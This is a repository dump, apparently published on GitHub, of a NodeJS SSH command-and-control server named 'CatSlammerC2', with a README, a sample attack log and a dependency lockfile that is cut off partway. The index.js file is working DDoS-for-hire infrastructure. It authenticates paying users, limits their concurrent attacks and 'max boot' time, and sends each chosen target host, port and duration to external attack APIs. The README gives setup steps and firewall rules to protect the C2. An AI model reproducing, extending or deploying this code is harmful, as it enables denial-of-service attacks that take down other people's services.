├── README.md
├── attacks.json
├── index.js
├── package-lock.json
├── package.json
├── servers.json
└── users.json
/README.md:
--------------------------------------------------------------------------------
1 |
NodeJS SSH2 Command and Control server to launch DDoS attacks using API
2 |
3 | Coded by forky (tg: @yfork)
4 |
5 |
6 | Installation:
7 |
8 | ```sh
9 | curl -sL https://deb.nodesource.com/setup_16.x | sudo bash -
10 | sudo apt -y install nodejs
11 | npm i ssh2 axios
12 | ```
13 |
14 | Setup:
15 |
16 | Update servers.json to your methods/API servers
17 | Update users.json to your username/passwords and concurrents/maxboot
18 | Update line 21 to change the botnet name
19 | Update line 22 to change the botnet port
20 |
21 |
22 |
23 | Firewall:
24 |
25 | Protect your CNC by creating a firewall if it's accessible to the public
26 | Use this iptables ratelimit in combination with an OVH/Path server to prevent most handshake DDoS attacks. Don't forget to substitute 2222 with your CNC port
27 |
28 |
29 | ```sh
30 | iptables -A INPUT -p tcp --dport 2222 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset
31 | iptables -A INPUT -p tcp --dport 2222 -m recent --set --name ratelimit
32 | iptables -A INPUT -p tcp --dport 2222 -m recent --update --seconds 1 --hitcount 10 --rttl --name ratelimit -j DROP
33 | ```
34 |
35 |
--------------------------------------------------------------------------------
/attacks.json:
--------------------------------------------------------------------------------
1 | {
2 | "attacks": [
3 | {
4 | "method": "udp",
5 | "host": "1.1.1.1",
6 | "port": 80,
7 | "time": 10,
8 | "username": "user1",
9 | "start_time": 1649248150247,
10 | "end_time": 1649248160247
11 | }
12 | ]
13 | }
14 |
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | // NodeJS SSH2 Command and Control server to launch DDoS attacks using API
2 | // Coded by forky (tg: @yfork)
3 | // v0.0.1
4 | // This was released on github.com/forkyyy
5 |
6 |
7 | const fs = require('fs');
8 | const ssh2 = require('ssh2');
9 | const axios = require('axios');
10 |
11 | //database
12 | const users = require('./users.json').users;
13 |
14 | //servers
15 | const servers = require('./servers.json');
16 |
17 | //attacks log
18 | const attacksLog = require('./attacks.json').attacks;
19 |
20 | //botnet name, banner(optional) and port
21 | const cnc_name = "CatSlammerC2";
22 | const cnc_port = 2222;
23 |
24 | function send_attack(client, method, ...args) {
25 |
26 | const [host, port, time] = args;
27 |
28 | const ipRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$|^:(:[0-9a-fA-F]{1,4}){1,7}$/;
29 | const ipRangeRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}\/[0-9]{1,2}$/;
30 |
31 | if (host.startsWith("http://") || host.startsWith("https://")) {
32 | // Check for potential URL injection
33 | const forbiddenCharacters = ['"', "'", '%', '&', '$', '|', ';', '(', ')', '[', ']', '{', '}'];
34 | for (const char of forbiddenCharacters) {
35 | if (host.includes(char)) {
36 | return `Invalid input: URL injection detected (${char})`;
37 | }
38 | }
39 | } else {
40 | // Check for a valid IPv4 or IPv4 Subnet
41 | if (!ipRegex.test(host) && !ipRangeRegex.test(host)) {
42 | return 'Invalid host or host range\r\n';
43 | }
44 | }
45 |
46 | //check if port is valid
47 | if (port < 0 || port > 65535) {
48 | return 'Invalid port number\r\n';
49 | }
50 |
51 | //check if time is valid
52 | if (time < 10 || time > 86400) {
53 | return 'Invalid time value\r\n';
54 | }
55 |
56 | //check if method is valid
57 | if (!servers.hasOwnProperty(method)) {
58 | return `Unknown attack method '${method}'\r\n`;
59 | }
60 |
61 | const user = users.find(user => user.username === client.username) || {};
62 | let clientAttacks = user.attacks || [];
63 |
64 | // Check if the user has reached their max concurrent attacks
65 | if (clientAttacks.length >= user.concurrents) {
66 | return `You have reached your max concurrent attacks (${user.concurrents}).\r\n`;
67 | }
68 |
69 | // Check if the attack will exceed the user's max boot time
70 | if (time > user.max_boot) {
71 | return `The attack time (${time} seconds) exceeds your max boot time (${user.max_boot} seconds).\r\n`;
72 | }
73 |
74 | const url = servers[method].api
75 | .replace('$host', host)
76 | .replace('$port', port)
77 | .replace('$time', time);
78 |
79 | // Add the attack to the client's list of active attacks
80 | const attack = {
81 | method,
82 | host,
83 | port,
84 | time,
85 | end_time: Date.now() + time * 1000
86 | };
87 |
88 | //add the attack to the launched attacks
89 | clientAttacks.push(attack);
90 |
91 | axios.get(url)
92 | .then(response => {
93 | //console.log(response.data);
94 | // Remove the attack from the client's list of active attacks once it has ended
95 | setTimeout(() => {
96 | clientAttacks = clientAttacks.filter(a => a !== attack);
97 | user.attacks = clientAttacks; // update user's active attacks
98 | console.log(`${cnc_name} - attack ended on ${attack.host}`)
99 | }, time * 1000);
100 | })
101 | .catch(error => {
102 | //console.error(error);
103 | clientAttacks = clientAttacks.filter(a => a !== attack);
104 | user.attacks = clientAttacks; // update user's active attacks
105 | console.log(`${cnc_name} - failed to attack ${attack.host}`)
106 | });
107 |
108 | //log the attack on the json file
109 | attacksLog.push({
110 | ...attack,
111 | username: user.username
112 | })
113 | fs.writeFileSync('./attacks.json', JSON.stringify({
114 | attacks: attacksLog
115 | }))
116 |
117 | //log the attack on console and returns the api call
118 | console.log(`${cnc_name} - attack sent to ${attack.host}:${attack.port} using ${attack.method} by ${user.username}`)
119 | return `${method} attack sent to ${host}:${port} for ${time} seconds\r\n`;
120 | }
121 |
122 | (async () => {
123 | startServer();
124 | })();
125 |
126 | function startServer() {
127 | var server = new ssh2.Server({
128 | hostKeys: [fs.readFileSync("/etc/ssh/ssh_host_rsa_key")]
129 | }, (client) => {
130 | client.on('authentication', async (ctx) => {
131 | client.username = ctx.username;
132 | client.password = ctx.password;
133 |
134 | if (ctx.method === 'password') {
135 | try {
136 | const user = users.find(user => user.username === client.username && user.password === client.password);
137 | if (user) {
138 | return ctx.accept();
139 | } else {
140 | return ctx.reject();
141 | }
142 | } catch (e) {
143 | return ctx.reject();
144 | }
145 | } else {
146 | return ctx.reject(['password']);
147 | }
148 | });
149 |
150 | client.on('ready', () => {
151 | client.on('session', (accept, reject) => {
152 | const session = accept();
153 |
154 | session.on('pty', (accept, reject, info) => {
155 | accept();
156 | });
157 |
158 | session.once('shell', (accept, reject, info) => {
159 | var stream = accept();
160 | stream.write(`\x1b]0;${cnc_name} - Botnet\x07`);
161 |
162 | var chunk = '';
163 | stream.write(`\x1b[2J\x1b[1H`)
164 | stream.on('data', async (data) => {
165 | var stringData = data.toString();
166 | if (stringData != '\r') {
167 | chunk += stringData;
168 | stream.write(data);
169 | } else {
170 | stream.write('\r\n');
171 | try {
172 | const availableMethods = Object.keys(servers);
173 |
174 | var command = chunk.split(' ')[0];
175 | var args = chunk.split(' ').slice(1);
176 | chunk = '';
177 |
178 | //methods command
179 |
180 | if (command === 'methods' || command === '?') {
181 | stream.write(`Example: \r\n`);
182 | stream.write(`\r\n`);
183 | availableMethods.forEach((method) => {
184 | const description = servers[method].description;
185 | stream.write(`${method} - ${description}\r\n`);
186 | });
187 | stream.write(`\r\n`);
188 | }
189 | //send attacks
190 |
191 | else if (availableMethods.includes(command)) {
192 | var response = send_attack(client, command, ...args);
193 | stream.write(response);
194 | }
195 |
196 | //clear command
197 | else if (command === 'cls' || command === 'clear') {
198 | stream.write(`\x1b[2J\x1b[1H`)
199 | }
200 |
201 | //exit command
202 | else if (command === 'exit') {
203 | stream.end();
204 | }
205 |
206 | //invalid command
207 | else {
208 | if (command != '') stream.write(`${command}: command not found\r\n`);
209 | }
210 |
211 | stream.write(`${client.username}@botnet~# `);
212 | } catch (e) {}
213 | }
214 | });
215 |
216 | if (typeof stream != 'undefined') {
217 | stream.write(`${client.username}@botnet~# `);
218 | }
219 |
220 | });
221 | });
222 | });
223 |
224 | client.on('end', () => {});
225 | client.on('close', () => {});
226 | client.on('error', () => {});
227 | });
228 |
229 | server.listen(cnc_port, () => console.log(`${cnc_name} started - listening for ssh connections on port ${cnc_port}`));
230 | }
231 |
--------------------------------------------------------------------------------
/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "eternity-ssh",
3 | "version": "1.0.0",
4 | "lockfileVersion": 2,
5 | "requires": true,
6 | "packages": {
7 | "": {
8 | "name": "eternity-ssh",
9 | "version": "1.0.0",
10 | "dependencies": {
11 | "argon2": "^0.28.2",
12 | "axios": "^0.24.0",
13 | "bcrypt": "^5.0.1",
14 | "concurrently": "^6.4.0",
15 | "esm": "^3.2.25",
16 | "fs": "^0.0.1-security",
17 | "mongodb": "^4.2.1",
18 | "mongoose": "^6.0.13",
19 | "nodemon": "^2.0.15",
20 | "path": "^0.12.7",
21 | "settings": "^0.1.1",
22 | "ssh-keygen": "^0.5.0",
23 | "ssh2": "^1.5.0"
24 | }
25 | },
26 | "node_modules/@mapbox/node-pre-gyp": {
27 | "version": "1.0.6",
28 | "resolved": "https://registry.npmjs.org/@mapbox/node-pre-gyp/-/node-pre-gyp-1.0.6.tgz",
29 | "integrity": "sha512-qK1ECws8UxuPqOA8F5LFD90vyVU33W7N3hGfgsOVfrJaRVc8McC3JClTDHpeSbL9CBrOHly/4GsNPAvIgNZE+g==",
30 | "dependencies": {
31 | "detect-libc": "^1.0.3",
32 | "https-proxy-agent": "^5.0.0",
33 | "make-dir": "^3.1.0",
34 | "node-fetch": "^2.6.5",
35 | "nopt": "^5.0.0",
36 | "npmlog": "^5.0.1",
37 | "rimraf": "^3.0.2",
38 | "semver": "^7.3.5",
39 | "tar": "^6.1.11"
40 | },
41 | "bin": {
42 | "node-pre-gyp": "bin/node-pre-gyp"
43 | }
44 | },
45 | "node_modules/@phc/format": {
46 | "version": "1.0.0",
47 | "resolved": "https://registry.npmjs.org/@phc/format/-/format-1.0.0.tgz",
48 | "integrity": "sha512-m7X9U6BG2+J+R1lSOdCiITLLrxm+cWlNI3HUFA92oLO77ObGNzaKdh8pMLqdZcshtkKuV84olNNXDfMc4FezBQ==",
49 | "engines": {
50 | "node": ">=10"
51 | }
52 | },
53 | "node_modules/@sindresorhus/is": {
54 | "version": "0.14.0",
55 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
56 | "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==",
57 | "engines": {
58 | "node": ">=6"
59 | }
60 | },
61 | "node_modules/@szmarczak/http-timer": {
62 | "version": "1.1.2",
63 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
64 | "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
65 | "dependencies": {
66 | "defer-to-connect": "^1.0.1"
67 | },
68 | "engines": {
69 | "node": ">=6"
70 | }
71 | },
72 | "node_modules/@types/node": {
73 | "version": "16.11.7",
74 | "resolved": "https://registry.npmjs.org/@types/node/-/node-16.11.7.tgz",
75 | "integrity": "sha512-QB5D2sqfSjCmTuWcBWyJ+/44bcjO7VbjSbOE0ucoVbAsSNQc4Lt6QkgkVXkTDwkL4z/beecZNDvVX15D4P8Jbw=="
76 | },
77 | "node_modules/@types/webidl-conversions": {
78 | "version": "6.1.1",
79 | "resolved": "https://registry.npmjs.org/@types/webidl-conversions/-/webidl-conversions-6.1.1.tgz",
80 | "integrity": "sha512-XAahCdThVuCFDQLT7R7Pk/vqeObFNL3YqRyFZg+AqAP/W1/w3xHaIxuW7WszQqTbIBOPRcItYJIou3i/mppu3Q=="
81 | },
82 | "node_modules/@types/whatwg-url": {
83 | "version": "8.2.1",
84 | "resolved": "https://registry.npmjs.org/@types/whatwg-url/-/whatwg-url-8.2.1.tgz",
85 | "integrity": "sha512-2YubE1sjj5ifxievI5Ge1sckb9k/Er66HyR2c+3+I6VDUUg1TLPdYYTEbQ+DjRkS4nTxMJhgWfSfMRD2sl2EYQ==",
86 | "dependencies": {
87 | "@types/node": "*",
88 | "@types/webidl-conversions": "*"
89 | }
90 | },
91 | "node_modules/abbrev": {
92 | "version": "1.1.1",
93 | "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
94 | "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="
95 | },
96 | "node_modules/agent-base": {
97 | "version": "6.0.2",
98 | "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
99 | "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
100 | "dependencies": {
101 | "debug": "4"
102 | },
103 | "engines": {
104 | "node": ">= 6.0.0"
105 | }
106 | },
107 | "node_modules/ansi-align": {
108 | "version": "3.0.1",
109 | "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.1.tgz",
110 | "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==",
111 | "dependencies": {
112 | "string-width": "^4.1.0"
113 | }
114 | },
115 | "node_modules/ansi-align/node_modules/ansi-regex": {
116 | "version": "5.0.1",
117 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
118 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
119 | "engines": {
120 | "node": ">=8"
121 | }
122 | },
123 | "node_modules/ansi-align/node_modules/is-fullwidth-code-point": {
124 | "version": "3.0.0",
125 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
126 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
127 | "engines": {
128 | "node": ">=8"
129 | }
130 | },
131 | "node_modules/ansi-align/node_modules/string-width": {
132 | "version": "4.2.3",
133 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
134 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
135 | "dependencies": {
136 | "emoji-regex": "^8.0.0",
137 | "is-fullwidth-code-point": "^3.0.0",
138 | "strip-ansi": "^6.0.1"
139 | },
140 | "engines": {
141 | "node": ">=8"
142 | }
143 | },
144 | "node_modules/ansi-align/node_modules/strip-ansi": {
145 | "version": "6.0.1",
146 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
147 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
148 | "dependencies": {
149 | "ansi-regex": "^5.0.1"
150 | },
151 | "engines": {
152 | "node": ">=8"
153 | }
154 | },
155 | "node_modules/ansi-regex": {
156 | "version": "3.0.0",
157 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
158 | "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
159 | "engines": {
160 | "node": ">=4"
161 | }
162 | },
163 | "node_modules/ansi-styles": {
164 | "version": "4.3.0",
165 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
166 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
167 | "dependencies": {
168 | "color-convert": "^2.0.1"
169 | },
170 | "engines": {
171 | "node": ">=8"
172 | },
173 | "funding": {
174 | "url": "https://github.com/chalk/ansi-styles?sponsor=1"
175 | }
176 | },
177 | "node_modules/anymatch": {
178 | "version": "3.1.2",
179 | "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
180 | "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
181 | "dependencies": {
182 | "normalize-path": "^3.0.0",
183 | "picomatch": "^2.0.4"
184 | },
185 | "engines": {
186 | "node": ">= 8"
187 | }
188 | },
189 | "node_modules/aproba": {
190 | "version": "2.0.0",
191 | "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz",
192 | "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ=="
193 | },
194 | "node_modules/are-we-there-yet": {
195 | "version": "2.0.0",
196 | "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz",
197 | "integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==",
198 | "dependencies": {
199 | "delegates": "^1.0.0",
200 | "readable-stream": "^3.6.0"
201 | },
202 | "engines": {
203 | "node": ">=10"
204 | }
205 | },
206 | "node_modules/argon2": {
207 | "version": "0.28.2",
208 | "resolved": "https://registry.npmjs.org/argon2/-/argon2-0.28.2.tgz",
209 | "integrity": "sha512-8oRk3kPlL0lLletENzhpbF9zoZJqvIHwTkjBseMrg1uD4gBMqhqnjJz1z3lEtwT0oqQAEkEwsEpsjaQBBRHcWw==",
210 | "hasInstallScript": true,
211 | "dependencies": {
212 | "@mapbox/node-pre-gyp": "^1.0.1",
213 | "@phc/format": "^1.0.0",
214 | "node-addon-api": "^3.0.2",
215 | "opencollective-postinstall": "^2.0.3"
216 | },
217 | "engines": {
218 | "node": ">=12.0.0"
219 | }
220 | },
221 | "node_modules/asn1": {
222 | "version": "0.2.6",
223 | "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
224 | "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
225 | "dependencies": {
226 | "safer-buffer": "~2.1.0"
227 | }
228 | },
229 | "node_modules/axios": {
230 | "version": "0.24.0",
231 | "resolved": "https://registry.npmjs.org/axios/-/axios-0.24.0.tgz",
232 | "integrity": "sha512-Q6cWsys88HoPgAaFAVUb0WpPk0O8iTeisR9IMqy9G8AbO4NlpVknrnQS03zzF9PGAWgO3cgletO3VjV/P7VztA==",
233 | "dependencies": {
234 | "follow-redirects": "^1.14.4"
235 | }
236 | },
237 | "node_modules/balanced-match": {
238 | "version": "1.0.2",
239 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
240 | "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
241 | },
242 | "node_modules/base64-js": {
243 | "version": "1.5.1",
244 | "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
245 | "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
246 | "funding": [
247 | {
248 | "type": "github",
249 | "url": "https://github.com/sponsors/feross"
250 | },
251 | {
252 | "type": "patreon",
253 | "url": "https://www.patreon.com/feross"
254 | },
255 | {
256 | "type": "consulting",
257 | "url": "https://feross.org/support"
258 | }
259 | ]
260 | },
261 | "node_modules/bcrypt": {
262 | "version": "5.0.1",
263 | "resolved": "https://registry.npmjs.org/bcrypt/-/bcrypt-5.0.1.tgz",
264 | "integrity": "sha512-9BTgmrhZM2t1bNuDtrtIMVSmmxZBrJ71n8Wg+YgdjHuIWYF7SjjmCPZFB+/5i/o/PIeRpwVJR3P+NrpIItUjqw==",
265 | "hasInstallScript": true,
266 | "dependencies": {
267 | "@mapbox/node-pre-gyp": "^1.0.0",
268 | "node-addon-api": "^3.1.0"
269 | },
270 | "engines": {
271 | "node": ">= 10.0.0"
272 | }
273 | },
274 | "node_modules/bcrypt-pbkdf": {
275 | "version": "1.0.2",
276 | "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
277 | "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
278 | "dependencies": {
279 | "tweetnacl": "^0.14.3"
280 | }
281 | },
282 | "node_modules/binary-extensions": {
283 | "version": "2.2.0",
284 | "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
285 | "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
286 | "engines": {
287 | "node": ">=8"
288 | }
289 | },
290 | "node_modules/boxen": {
291 | "version": "5.1.2",
292 | "resolved": "https://registry.npmjs.org/boxen/-/boxen-5.1.2.tgz",
293 | "integrity": "sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ==",
294 | "dependencies": {
295 | "ansi-align": "^3.0.0",
296 | "camelcase": "^6.2.0",
297 | "chalk": "^4.1.0",
298 | "cli-boxes": "^2.2.1",
299 | "string-width": "^4.2.2",
300 | "type-fest": "^0.20.2",
301 | "widest-line": "^3.1.0",
302 | "wrap-ansi": "^7.0.0"
303 | },
304 | "engines": {
305 | "node": ">=10"
306 | },
307 | "funding": {
308 | "url": "https://github.com/sponsors/sindresorhus"
309 | }
310 | },
311 | "node_modules/boxen/node_modules/ansi-regex": {
312 | "version": "5.0.1",
313 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
314 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
315 | "engines": {
316 | "node": ">=8"
317 | }
318 | },
319 | "node_modules/boxen/node_modules/is-fullwidth-code-point": {
320 | "version": "3.0.0",
321 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
322 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
323 | "engines": {
324 | "node": ">=8"
325 | }
326 | },
327 | "node_modules/boxen/node_modules/string-width": {
328 | "version": "4.2.3",
329 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
330 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
331 | "dependencies": {
332 | "emoji-regex": "^8.0.0",
333 | "is-fullwidth-code-point": "^3.0.0",
334 | "strip-ansi": "^6.0.1"
335 | },
336 | "engines": {
337 | "node": ">=8"
338 | }
339 | },
340 | "node_modules/boxen/node_modules/strip-ansi": {
341 | "version": "6.0.1",
342 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
343 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
344 | "dependencies": {
345 | "ansi-regex": "^5.0.1"
346 | },
347 | "engines": {
348 | "node": ">=8"
349 | }
350 | },
351 | "node_modules/brace-expansion": {
352 | "version": "1.1.11",
353 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
354 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
355 | "dependencies": {
356 | "balanced-match": "^1.0.0",
357 | "concat-map": "0.0.1"
358 | }
359 | },
360 | "node_modules/braces": {
361 | "version": "3.0.2",
362 | "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
363 | "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
364 | "dependencies": {
365 | "fill-range": "^7.0.1"
366 | },
367 | "engines": {
368 | "node": ">=8"
369 | }
370 | },
371 | "node_modules/bson": {
372 | "version": "4.6.0",
373 | "resolved": "https://registry.npmjs.org/bson/-/bson-4.6.0.tgz",
374 | "integrity": "sha512-8jw1NU1hglS+Da1jDOUYuNcBJ4cNHCFIqzlwoFNnsTOg2R/ox0aTYcTiBN4dzRa9q7Cvy6XErh3L8ReTEb9AQQ==",
375 | "dependencies": {
376 | "buffer": "^5.6.0"
377 | },
378 | "engines": {
379 | "node": ">=6.9.0"
380 | }
381 | },
382 | "node_modules/buffer": {
383 | "version": "5.7.1",
384 | "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
385 | "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
386 | "funding": [
387 | {
388 | "type": "github",
389 | "url": "https://github.com/sponsors/feross"
390 | },
391 | {
392 | "type": "patreon",
393 | "url": "https://www.patreon.com/feross"
394 | },
395 | {
396 | "type": "consulting",
397 | "url": "https://feross.org/support"
398 | }
399 | ],
400 | "dependencies": {
401 | "base64-js": "^1.3.1",
402 | "ieee754": "^1.1.13"
403 | }
404 | },
405 | "node_modules/cacheable-request": {
406 | "version": "6.1.0",
407 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
408 | "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
409 | "dependencies": {
410 | "clone-response": "^1.0.2",
411 | "get-stream": "^5.1.0",
412 | "http-cache-semantics": "^4.0.0",
413 | "keyv": "^3.0.0",
414 | "lowercase-keys": "^2.0.0",
415 | "normalize-url": "^4.1.0",
416 | "responselike": "^1.0.2"
417 | },
418 | "engines": {
419 | "node": ">=8"
420 | }
421 | },
422 | "node_modules/cacheable-request/node_modules/get-stream": {
423 | "version": "5.2.0",
424 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
425 | "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
426 | "dependencies": {
427 | "pump": "^3.0.0"
428 | },
429 | "engines": {
430 | "node": ">=8"
431 | },
432 | "funding": {
433 | "url": "https://github.com/sponsors/sindresorhus"
434 | }
435 | },
436 | "node_modules/cacheable-request/node_modules/lowercase-keys": {
437 | "version": "2.0.0",
438 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
439 | "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
440 | "engines": {
441 | "node": ">=8"
442 | }
443 | },
444 | "node_modules/camelcase": {
445 | "version": "6.2.1",
446 | "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.1.tgz",
447 | "integrity": "sha512-tVI4q5jjFV5CavAU8DXfza/TJcZutVKo/5Foskmsqcm0MsL91moHvwiGNnqaa2o6PF/7yT5ikDRcVcl8Rj6LCA==",
448 | "engines": {
449 | "node": ">=10"
450 | },
451 | "funding": {
452 | "url": "https://github.com/sponsors/sindresorhus"
453 | }
454 | },
455 | "node_modules/chalk": {
456 | "version": "4.1.2",
457 | "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
458 | "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
459 | "dependencies": {
460 | "ansi-styles": "^4.1.0",
461 | "supports-color": "^7.1.0"
462 | },
463 | "engines": {
464 | "node": ">=10"
465 | },
466 | "funding": {
467 | "url": "https://github.com/chalk/chalk?sponsor=1"
468 | }
469 | },
470 | "node_modules/chalk/node_modules/supports-color": {
471 | "version": "7.2.0",
472 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
473 | "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
474 | "dependencies": {
475 | "has-flag": "^4.0.0"
476 | },
477 | "engines": {
478 | "node": ">=8"
479 | }
480 | },
481 | "node_modules/chokidar": {
482 | "version": "3.5.2",
483 | "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz",
